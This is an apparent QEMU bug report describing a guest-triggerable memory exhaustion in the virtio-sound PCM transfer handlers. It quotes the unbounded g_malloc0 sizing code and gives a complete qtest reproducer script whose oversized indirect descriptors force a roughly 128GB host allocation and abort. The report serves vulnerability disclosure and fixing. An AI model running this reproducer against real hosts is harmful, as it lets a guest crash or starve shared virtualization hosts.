<!-- This is the upstream QEMU issue tracker. If you are able to, it will greatly facilitate bug triage if you attempt to reproduce the problem with the latest qemu.git master built from source. See https://www.qemu.org/download/#source for instructions on how to do this. QEMU generally supports the last two releases advertised on https://www.qemu.org/. Problems with distro-packaged versions of QEMU older than this should be reported to the distribution instead. See https://www.qemu.org/contribute/report-a-bug/ for additional guidance. If this is a security issue, please consult https://www.qemu.org/contribute/security-process/ --> ## Host environment - Operating system: ubuntu 22.04 - OS/kernel version: linux 6.8.0-52-generic - Architecture: x86_64 - QEMU flavor: qemu-system-x86_64 - QEMU version: QEMU 11.0.1 - QEMU command line: ``` ./qemu-system-x86_64 -M q35 -accel qtest -m 256M -nodefaults -display none -monitor none -serial none -qtest stdio -qtest-log none -audiodev none,id=audio0 -device virtio-sound-pci,id=snd0,addr=1.0,vectors=0,audiodev=audio0 ``` ## Emulated/Virtualized environment - Operating system: none (qtest reproducer) - OS/kernel version: none (qtest reproducer) - Architecture: x86_64 ## Description of problem Guest-triggerable unbounded host allocation/OOM exists in the virtio-sound PCM transfer queues. A malicious guest driver can submit oversized PCM TX descriptors, or malformed PCM RX descriptors, whose total virtqueue descriptor length is much larger than the negotiated PCM period size; QEMU allocates host heap memory proportional to that guest-controlled length and can exhaust host memory or abort the QEMU process (**at most 128GB allocation**). This was reported against QEMU 11.0.1. The host operating system and kernel version were not provided in the report. The root cause is in `virtio_snd_handle_tx_xfer()`. After reading the `virtio_snd_pcm_xfer` header, QEMU derives the host buffer size from the total guest-provided output scatter-gather length and allocates `sizeof(VirtIOSoundPCMBuffer) + size` without checking the value against `stream->params.period_bytes`, `stream->params.buffer_bytes`, or another device cap. `hw/audio/virtio-snd.c:873` ```c size = iov_size(elem->out_sg, elem->out_num) - msg_sz; buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); buffer->elem = elem; buffer->populated = false; buffer->vq = vq; buffer->size = size; buffer->offset = 0; stream->latency_bytes += size; ``` The RX/capture path has the same allocation pattern and also subtracts the status size from the guest-provided input descriptor length before allocation. If the input descriptor length is large, the allocation is large; if it is shorter than `sizeof(virtio_snd_pcm_status)`, the unsigned `size_t` subtraction can underflow before the addition passed to `g_malloc0()`. `hw/audio/virtio-snd.c:954` ```c size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status); buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); buffer->elem = elem; buffer->vq = vq; buffer->size = 0; buffer->offset = 0; QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); ``` The negotiated PCM geometry is stored separately, but the transfer handlers do not enforce it when sizing these per-transfer allocations. `hw/audio/virtio-snd.c:262` ```c st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes); st_params->period_bytes = le32_to_cpu(params->period_bytes); st_params->features = le32_to_cpu(params->features); ``` The stock Linux virtio-sound driver builds PCM messages from period-sized buffers and queues a message only after one complete period has been accumulated, but a malicious or non-standard guest driver can place oversized descriptors directly on the virtqueues. ## Steps to reproduce 1. Use an ASAN-built `qemu-system-x86_64` binary with virtio-sound support. The original report used `/gbf2/qemu/build/qemu-system-x86_64`. Run with ASAN/UBSAN reporting enabled, for example with `ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1` and `UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1` in the environment. 2. Run the following qtest reproducer from the QEMU build directory. It submits one modern virtio PCM TX element on queue 2 using an indirect descriptor table. The descriptor generator emits 1024 entries of length `0x08000000` while mapping every descriptor to the same small guest RAM payload. ```sh cat <<EOF | ./qemu-system-x86_64 -M q35 -accel qtest -m 256M -nodefaults -display none -monitor none -serial none -qtest stdio -qtest-log none -audiodev none,id=audio0 -device virtio-sound-pci,id=snd0,addr=1.0,vectors=0,audiodev=audio0 outl 0xcf8 0x80000820 outl 0xcfc 0xfe00000c outl 0xcf8 0x80000824 outl 0xcfc 0x00000000 outl 0xcf8 0x80000804 outw 0xcfc 0x0006 inw 0xcfc writeb 0xfe000014 0x00 writeb 0xfe000014 0x01 writeb 0xfe000014 0x03 writel 0xfe000008 0x00000000 writel 0xfe00000c 0x10000000 writel 0xfe000008 0x00000001 writel 0xfe00000c 0x00000001 writeb 0xfe000014 0x0b readb 0xfe000014 writew 0xfe000016 0x00000002 readw 0xfe000018 writew 0xfe000018 0x00000040 writel 0xfe000020 0x00010000 writel 0xfe000024 0x00000000 writel 0xfe000028 0x00011000 writel 0xfe00002c 0x00000000 writel 0xfe000030 0x00012000 writel 0xfe000034 0x00000000 writew 0xfe00001c 0x0001 readw 0xfe00001c writeb 0xfe000014 0x0f readb 0xfe000014 memset 0x00010000 0x3000 0x00 memset 0x00020000 0x00004000 0x00 memset 0x01000000 0x1000 0x41 writeq 0x00010000 0x0000000000020000 writel 0x00010008 0x00004000 writew 0x0001000c 0x0004 writew 0x0001000e 0x0000 writel 0x01000000 0x00000000 $(i=0; while [ "$i" -lt 1024 ]; do off=$((0x00020000 + i * 16)) if [ "$i" -lt 1023 ]; then printf "writeq 0x%08x 0x%016x\n" "$off" 16777216 printf "writel 0x%08x 0x08000000\n" "$((off + 8))" printf "writew 0x%08x 0x0001\n" "$((off + 12))" printf "writew 0x%08x 0x%04x\n" "$((off + 14))" "$((i + 1))" else printf "writeq 0x%08x 0x%016x\n" "$off" 16777216 printf "writel 0x%08x 0x08000000\n" "$((off + 8))" printf "writew 0x%08x 0x0000\n" "$((off + 12))" printf "writew 0x%08x 0x0000\n" "$((off + 14))" fi i=$((i + 1)) done) writew 0x00011000 0x0000 writew 0x00011002 0x0001 writew 0x00011004 0x0000 writew 0xfe003008 0x00000002 clock_step 1000000 readb 0xfe001000 readw 0x00012002 EOF ``` 3. QEMU processes the TX virtqueue in `virtio_snd_handle_tx_xfer()`, sums the indirect output descriptor lengths, and attempts to allocate a `VirtIOSoundPCMBuffer` of the aggregate payload size before enforcing a period-size or buffer-size bound. ## Additional information ASAN output reported: ```text ================================================================= ==1058378==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x200000002c bytes #0 0x75ad10eb4a57 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154 #1 0x75ad10348c50 in g_malloc0 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5ec50) ==1058378==HINT: if you don't care about these errors you may set allocator_may_return_null=1 SUMMARY: AddressSanitizer: out-of-memory ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154 in __interceptor_calloc ==1058378==ABORTING ``` <!-- The line below ensures that proper tags are added to the issue. Please do not remove it. -->